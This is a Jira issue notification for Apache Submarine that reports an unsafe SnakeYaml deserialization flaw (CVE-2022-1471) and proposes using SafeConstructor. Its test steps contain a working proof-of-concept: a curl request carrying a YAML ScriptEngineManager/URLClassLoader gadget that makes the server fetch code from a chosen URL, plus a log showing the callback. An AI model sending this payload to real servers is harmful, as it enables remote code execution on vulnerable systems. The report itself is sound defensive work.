[jira] [Created] (SUBMARINE-1371) Fix unsafe deserialization via SnakeYaml in YamlEntityProvider

["cdmikechen (Jira)" <ji...@apache.org>]

cdmikechen created SUBMARINE-1371:
-------------------------------------

             Summary: Fix unsafe deserialization via SnakeYaml in YamlEntityProvider
                 Key: SUBMARINE-1371
                 URL: https://issues.apache.org/jira/browse/SUBMARINE-1371
             Project: Apache Submarine
          Issue Type: Bug
          Components: Backend Server
            Reporter: cdmikechen


Use SnakeYaml's SafeConstructor to replace default Yaml no arguments constructor to void unsafe deserialization.

Link url: [https://nvd.nist.gov/vuln/detail/CVE-2022-1471]

Test steps:
 # start a server with *python3 -m http.server 8080*
 # start submarine
 # test submarine with command 
{code:sh}
curl --location 'http://127.0.0.1:32080/api/v1/serve/' \
--header 'Content-Type: application/yaml' \
--data '!!org.apache.submarine.server.api.model.ServeSpec: modelName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080"]]]]'
{code}
# we can see python server receive url like this:
{code:sh}
Serving HTTP on :: port 8080 (http://[::]:8080/) ...
::ffff:127.0.0.1 - - [05/Mar/2023 16:12:01] "GET / HTTP/1.1" 200 -
{code}



--
This message was sent by Atlassian Jira
(v8.20.10#820010)

---------------------------------------------------------------------
To unsubscribe, e-mail: dev-unsubscribe@submarine.apache.org
For additional commands, e-mail: dev-help@submarine.apache.org